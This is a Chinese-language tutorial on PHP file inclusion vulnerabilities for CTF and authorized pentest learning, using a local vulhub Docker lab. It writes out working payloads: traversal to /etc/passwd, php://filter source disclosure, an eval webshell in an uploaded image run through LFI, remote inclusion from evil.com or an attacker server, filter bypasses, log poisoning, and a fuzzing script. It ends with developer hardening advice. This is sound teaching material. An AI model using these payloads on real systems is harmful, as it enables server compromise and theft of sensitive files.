这次我们来看一个 Web 安全领域的核心漏洞类型:文件包含。这不是某个具体的工具或模型,而是一个在 CTF 比赛、渗透测试和代码审计中频繁出现的关键攻击面。对于开发者而言,理解文件包含漏洞的原理、利用方式和防御手段,是构建安全 Web 应用的基本功;对于安全爱好者或学习者,掌握它则是通往 Web 安全实战的必经之路。
本文不会空谈理论,而是直接切入实战。我们将围绕“[青岑网安]Web文件包含-1”这个主题,拆解文件包含漏洞的成因、分类、本地与远程包含的利用手法,并提供一个可复现的靶场环境搭建与测试流程。重点在于“能不能用”和“怎么用”——即如何快速识别漏洞点、构造有效的攻击载荷、获取敏感信息或系统权限,以及最终如何修复。无论你是正在学习 CTF 的选手,还是希望提升代码安全性的开发者,这篇文章都能提供一套清晰的实战指南。
1. 核心能力速览:文件包含漏洞是什么?
在深入细节前,我们先通过一个表格快速了解文件包含漏洞的核心要素。这能帮你快速判断自己是否遇到了此类问题,以及它的潜在危害有多大。
| 能力项 | 说明 |
|---|---|
| 漏洞类型 | Web 应用程序安全漏洞(OWASP Top 10 相关) |
| 主要成因 | 应用程序动态包含文件时,未对用户输入进行严格过滤。 |
| 关键函数 | PHP:include,require,include_once,require_once其他语言:JSP/Servlet 的 <%@ include file="..." %>, ASP 的<!--#include file="..." -->等 |
| 利用目标 | 读取服务器敏感文件(如/etc/passwd)、执行任意代码、获取 WebShell。 |
| 测试门槛 | 极低。仅需一个存在漏洞的 Web 应用(靶场)和浏览器或命令行工具(如 curl)。 |
| 危害等级 | 高危。可能导致服务器被完全控制。 |
| 适合场景 | CTF 解题、渗透测试、代码审计学习、安全开发意识培训。 |
简单来说,文件包含漏洞就像一扇本应只对内部开放的门,但因为门锁(输入过滤)坏了,攻击者可以指定打开任意一扇门(文件),甚至从外面(远程服务器)搬一扇危险的门进来。
2. 适用场景与使用边界
这个漏洞知识适合谁?
- Web 安全初学者:作为理解动态代码执行的经典案例。
- CTF 参赛者:文件包含是 Web 类题目的高频考点,常与目录遍历、PHP 伪协议、日志注入等结合。
- 渗透测试人员:在授权测试中,用于发现和验证目标系统的安全隐患。
- 后端开发者:了解漏洞成因,从而在编码中避免同类错误,实现安全开发。
能解决什么问题?
- 漏洞识别:快速判断一个 Web 功能点(如
?page=about.php)是否存在文件包含漏洞。 - 渗透利用:在授权测试环境中,通过漏洞获取敏感信息、执行命令,验证风险。
- 代码审计:在源代码中定位不安全的文件包含函数调用,评估风险。
- 安全加固:为开发团队提供明确、可落地的修复方案。
不适合什么场景?
- 非法攻击:严禁在未获得明确授权的情况下,对任何线上系统进行文件包含漏洞测试或利用。这是违法行为。
- 模糊测试:对未知系统进行盲目的文件包含参数 Fuzzing,可能触犯法律并产生不可预知的风险。
- 替代其他测试:文件包含是专项测试,不能替代全面的安全评估。
安全与合规边界:所有后续的演示和操作,必须且仅限在你自己搭建的本地靶场环境或明确授权的测试环境中进行。本文提供的所有 Payload 和技巧,仅用于教育、研究和授权下的安全测试。
3. 环境准备与前置条件
为了安全、合法地进行学习,我们需要搭建一个本地测试环境。这里推荐使用 Docker,因为它能快速构建一个包含漏洞的、与宿主隔离的 Web 应用。
基础环境要求:
- 操作系统:Windows 10/11, macOS, 或 Linux 发行版(如 Ubuntu, CentOS)。
- Docker & Docker Compose:这是最便捷的方式。确保你的系统已安装 Docker 和 Docker Compose。
- 浏览器:Chrome, Firefox 等现代浏览器,用于访问 Web 界面。
- 命令行工具:系统终端(Linux/macOS 的 Terminal,Windows 的 PowerShell 或 CMD)以及
curl工具(用于 API 式测试)。
验证 Docker 环境:打开终端,运行以下命令检查 Docker 是否就绪。
# 检查 Docker 版本 docker --version # 检查 Docker Compose 版本 docker-compose --version如果命令成功返回版本号,说明环境已就绪。如果未安装,请前往 Docker 官网下载安装对应系统的 Docker Desktop。
4. 靶场部署与启动方式
我们将使用一个经典的、专为学习文件包含漏洞设计的 Docker 靶场。这里以vulhub项目中的php-inclusion靶场为例,因为它环境纯净,漏洞典型。
步骤 1:获取靶场代码在终端中,选择一个工作目录,克隆或下载靶场配置。
# 创建一个专门用于安全学习的目录 mkdir -p ~/security_labs && cd ~/security_labs # 下载 vulhub 项目(包含众多漏洞环境) git clone https://github.com/vulhub/vulhub.git cd vulhub/php/inclusion如果网络原因无法克隆,你也可以直接访问 vulhub 的 GitHub 仓库,手动下载php/inclusion目录下的docker-compose.yml文件。
步骤 2:启动靶场服务在inclusion目录下,使用 Docker Compose 一键启动漏洞环境。
# 启动服务(会自动拉取镜像并构建容器) docker-compose up -d命令执行后,Docker 会从网络拉取 PHP 和 Apache 镜像,并启动一个容器。-d参数表示在后台运行。
步骤 3:验证服务状态运行以下命令查看容器是否正常运行。
# 查看正在运行的容器 docker ps你应该能看到一个名为vulhub_php-inclusion的容器,状态为Up。同时,该服务默认会映射到宿主机的8080端口。
步骤 4:访问靶场打开浏览器,访问http://127.0.0.1:8080。如果看到类似 “File Inclusion” 或一个简单的网页界面,说明靶场启动成功。
启动方式总结:
- 一键启动:
docker-compose up -d - 服务访问:
http://127.0.0.1:8080 - 停止服务:在相同目录下运行
docker-compose down - 查看日志:
docker-compose logs(用于排查启动错误)
5. 漏洞原理与分类详解
在开始测试前,必须理解两种主要的文件包含类型:本地文件包含(LFI)和远程文件包含(RFI)。它们的利用条件和危害程度不同。
5.1 本地文件包含
原理:应用程序包含的是服务器本地的文件,但攻击者可以通过目录遍历(../)等手法,跳出预期的目录,读取或执行系统上的任意文件。关键点:allow_url_include配置为Off(默认)时,只能包含本地文件。漏洞代码示例(PHP):
<?php $file = $_GET['page']; // 用户可控输入,例如 ?page=index.php include($file . '.php'); // 未过滤直接拼接包含 ?>利用思路:通过?page=../../../etc/passwd尝试读取系统密码文件。
5.2 远程文件包含
原理:当 PHP 配置allow_url_include = On时,include或require函数可以包含远程服务器上的文件(如http://evil.com/shell.txt)。攻击者可以将恶意代码放在自己的服务器上,让目标网站去包含并执行。危害:直接获取 WebShell,危害极大。漏洞代码示例:
<?php $file = $_GET['file']; include($file); // 直接包含,未检查是否为本地文件 ?>利用思路:搭建一个存放 PHP 代码的远程服务器,然后让目标包含?file=http://your-ip/shell.txt。
6. 功能测试与效果验证(实战利用)
现在,我们针对启动的靶场,进行一步步的漏洞测试。假设靶场有一个参数?file=用于包含文件。
6.1 测试 1:基础本地文件包含
测试目的:确认是否存在 LFI 漏洞,并读取服务器上一个已知的敏感文件。操作步骤:
- 浏览器访问靶场首页,观察 URL 结构。假设存在链接
?file=show.php。 - 在 URL 中尝试包含系统文件。构造 Payload:
http://127.0.0.1:8080/?file=../../../../etc/passwd - 观察页面响应。
预期结果与判断:
- 成功:页面显示了
/etc/passwd文件的内容(包含root:x:0:0...等用户信息)。这直接证明了 LFI 漏洞存在。 - 失败(显示错误或空白):
- 可能路径深度不对,尝试增加或减少
../的层级。 - 可能靶场对
../进行了过滤。尝试 URL 编码:..%2F..%2F..%2F..%2Fetc%2Fpasswd - 可能参数名不是
file,需要查看页面源码或进行参数爆破。
- 可能路径深度不对,尝试增加或减少
6.2 测试 2:利用 PHP 伪协议
PHP 内置了多种伪协议,可以极大地扩展 LFI 的利用方式,甚至在没有 RFI 的情况下执行代码。测试目的:使用php://filter协议读取网页源码,或使用php://input执行代码。操作步骤:
- 读取源码:Payload:
?file=php://filter/read=convert.base64-encode/resource=index.php - 访问该 URL,页面可能会显示一串 Base64 编码的字符串。
- 复制这串编码,使用 Base64 解码工具(或命令行
echo “编码字符串” | base64 -d)进行解码,即可得到index.php的源代码。这对于代码审计、寻找其他漏洞至关重要。
预期结果:获得经过 Base64 编码的 PHP 文件内容,解码后能看到服务器端逻辑。
6.3 测试 3:结合文件上传获取 WebShell(经典组合拳)
这是 LFI 漏洞危害升级的关键。如果网站同时存在文件上传功能,且上传的文件会被保存到已知路径,我们就可以先上传一个图片马(图片中包含 PHP 代码),再利用 LFI 漏洞去包含这个图片文件,从而执行代码。测试目的:在存在上传点的靶场中,实现命令执行。操作流程:
- 制作图片马:创建一个
shell.jpg,内容为<?php @eval($_POST[‘cmd’]);?>。可以使用命令echo ‘<?php phpinfo();?>’ >> shell.jpg简单制作。 - 上传文件:找到靶场的上传功能,上传
shell.jpg。记录下上传后的访问路径,例如/uploads/shell.jpg。 - LFI 包含:访问
?file=./uploads/shell.jpg。如果配置允许,其中的 PHP 代码将被执行。 - 验证执行:使用
php://input或直接通过 POST 传递命令。例如,用 curl 测试:
查看返回结果中是否包含当前运行进程的用户信息(如curl -X POST “http://127.0.0.1:8080/?file=./uploads/shell.jpg” -d “cmd=system(‘id’);”uid=33(www-data))。
6.4 测试 4:远程文件包含
测试目的:在allow_url_include=On的极端配置下,测试 RFI。前置条件:需要一台具有公网 IP 或与靶场网络互通的服务器,并在上面放置一个文本文件,内容为 PHP 代码,例如<?php phpinfo();?>。操作步骤:
- 在攻击机(如你的 VPS)上,创建
shell.txt并写入上述代码。用 Python 快速启动一个 HTTP 服务:python3 -m http.server 8000。 - 在靶场 URL 中尝试:
?file=http://你的IP:8000/shell.txt - 观察靶场页面是否显示了
phpinfo()的信息。
注意:现代 PHP 版本默认关闭此配置,因此 RFI 在实际中较 LFI 更少见,但一旦存在,危害立竿见影。
7. 接口化测试与批量 FUZZ
在实战或 CTF 中,我们常需要自动化测试多个参数或路径。这时,命令行工具curl和脚本就派上用场了。
7.1 使用 cURL 进行快速单点测试
# 测试读取 /etc/passwd curl -s “http://127.0.0.1:8080/?file=../../../etc/passwd” | grep -q “root:” && echo “漏洞可能存在!” # 测试 PHP Filter 协议读取源码,并自动解码 curl -s “http://127.0.0.1:8080/?file=php://filter/read=convert.base64-encode/resource=index.php” | base64 -ds参数表示静默模式,-q用于安静地匹配。这可以快速集成到脚本中。
7.2 简单的批量路径 FUZZ
假设我们怀疑存在include(‘pages/’ . $file . ‘.php’);这样的代码,我们可以 FUZZ$file参数,尝试包含日志文件、会话文件等。 创建一个字典文件fuzz_dict.txt:
../../../../var/log/apache2/access.log ../../../../var/log/apache2/error.log ../../../../var/log/nginx/access.log ../../../../tmp/sess_abc123 /proc/self/environ .../...//etc/passwd使用简单的 Bash 脚本进行批量测试:
#!/bin/bash URL=“http://127.0.0.1:8080” while IFS= read -r line do response=$(curl -s -o /dev/null -w “%{http_code}” “$URL/?file=$line”) if [ “$response” -ne “404” ] && [ “$response” -ne “500” ]; then echo “[+] Potential Hit: $line (Status: $response)” curl -s “$URL/?file=$line” | head -c 200 # 打印前200个字符看看内容 fi done < fuzz_dict.txt这个脚本会测试字典中的每个路径,并打印出响应状态码非 404/500 的潜在成功项。
8. 资源占用与性能观察
文件包含漏洞的测试本身对资源占用极低,因为它本质上是 Web 请求。重点在于观察 Web 服务器的响应。
- CPU/内存占用:单次包含请求消耗资源可忽略不计。但在进行自动化 FUZZ 时,高频请求可能导致服务器 CPU 短暂升高。在授权测试中应注意频率,避免 DoS。
- 网络流量:测试产生的流量很小,主要取决于读取的文件大小(如读取一个大的日志文件)。
- 日志增长:你的测试行为会被记录在靶场 Web 服务器的访问日志中。在真实环境中,攻击者的 IP、Payload 都会被记录,这是溯源的关键。
- 错误信息:关注服务器的错误响应(HTTP 500, 403 等)和 PHP 报错信息。它们可能泄露服务器路径、配置等敏感信息,为进一步利用提供线索。
9. 常见问题与排查方法
在测试过程中,你可能会遇到以下问题:
| 问题现象 | 可能原因 | 排查方式 | 解决方案 |
|---|---|---|---|
访问http://127.0.0.1:8080失败 | Docker 服务未启动或端口冲突 | docker ps查看容器状态;netstat -tlnp | grep 8080查看端口占用 | 重启服务docker-compose restart;更换docker-compose.yml中的端口映射 |
包含/etc/passwd返回空白或错误 | 路径深度不对;PHP 配置open_basedir限制 | 尝试不同层数的../;查看 PHP 错误日志 | 使用绝对路径 FUZZ;尝试包含 Web 目录内的已知文件,如./index.php来校准路径 |
php://filter协议返回乱码或无效 | 输出被 HTML 实体编码或处理 | 查看网页源代码(Ctrl+U) | 源代码中可能包含正确的 Base64 编码,需从源码中提取并解码 |
| 包含上传的图片马不执行代码 | PHP 配置未将.jpg文件作为 PHP 解析;.htaccess或 Nginx 配置限制 | 确认上传后的文件路径;尝试包含php://input直接执行代码 | 寻找其他可控制内容且会被包含的文件,如日志文件、Session 文件 |
| RFI 测试无效,返回警告信息 | allow_url_include配置为Off(默认安全配置) | 查看 PHP 信息或错误提示 | 放弃 RFI,专注于 LFI 和 PHP 伪协议的利用 |
使用../被过滤或替换 | 应用程序存在简单的输入过滤 | 尝试双重编码..%252F..%252F;使用绝对路径/etc/passwd | 尝试其他绕过技巧,如....//、..\/等 |
10. 最佳实践与安全加固建议
作为攻击方(在授权范围内),测试要彻底;作为防守方(开发者),防护要到位。
对于渗透测试/CTF选手:
- 信息收集优先:先通过正常功能、报错信息、源码泄露等,尽可能收集目标路径、中间件、PHP 版本等信息。
- 阶梯式测试:先测试基础 LFI,再尝试 PHP 伪协议,最后结合其他漏洞(如上传、日志)进行组合利用。
- 善用编码与绕过:当直接输入被过滤时,考虑 URL 编码、双重编码、超长路径截断(PHP版本 < 5.3)等技巧。
- 利用日志文件:
/var/log/apache2/access.log或 Nginx 日志是常见的包含目标,可将 PHP 代码写入 User-Agent 再包含该日志。 - 自动化但要有度:使用工具(如 Burp Suite Intruder, ffuf)进行 FUZZ 时,设置合理的线程和间隔,避免对测试目标造成影响。
对于开发者:
- 白名单校验:这是最有效的方法。定义一个允许包含的文件列表,只允许包含列表内的文件。
$allowed_pages = [‘home.php’, ‘about.php’, ‘contact.php’]; $page = $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./pages/’ . $page); } else { include(‘./pages/error.php’); } - 避免动态包含:如果可能,使用静态映射或路由机制代替直接的用户输入包含。
- 设置 PHP 安全配置:
allow_url_include = Offallow_url_fopen = Off- 设置
open_basedir将 PHP 可操作的文件限制在网站根目录下。
- 过滤输入:如果必须动态包含,严格过滤输入,移除任何
../,..\,php://,http://等危险字符。 - 使用安全的函数:考虑使用
basename()函数获取文件名部分,但注意它无法防御目录遍历。 - 更新与补丁:保持 PHP 和 Web 服务器(Apache/Nginx)为最新版本,避免已知的解析漏洞。
理解文件包含漏洞,是打开 Web 安全实战大门的一把钥匙。它原理清晰,利用链条多样,从简单的信息泄露到复杂的远程代码执行,清晰地展示了“输入不可信”这一安全原则被违反后的后果。最值得尝试的起点,就是在本地用 Docker 快速搭建靶场,亲手复现一次从 LFI 读取/etc/passwd到利用php://filter读取源码的过程。这个过程中最容易踩的坑往往是路径问题,多尝试几种../的组合和编码方式通常能解决。
掌握了基础之后,下一步可以探索更高级的利用技巧,比如如何通过包含/proc/self/environ或日志文件来获取 Shell,或者在 CTF 中如何将文件包含与序列化、SQL 注入等漏洞结合。记住,所有的学习和测试都必须在合法授权的环境下进行,将知识用于加固系统而非破坏它。建议将本文中的命令和 Payload 保存下来,在搭建的靶场中逐一验证,这比单纯阅读要印象深刻得多。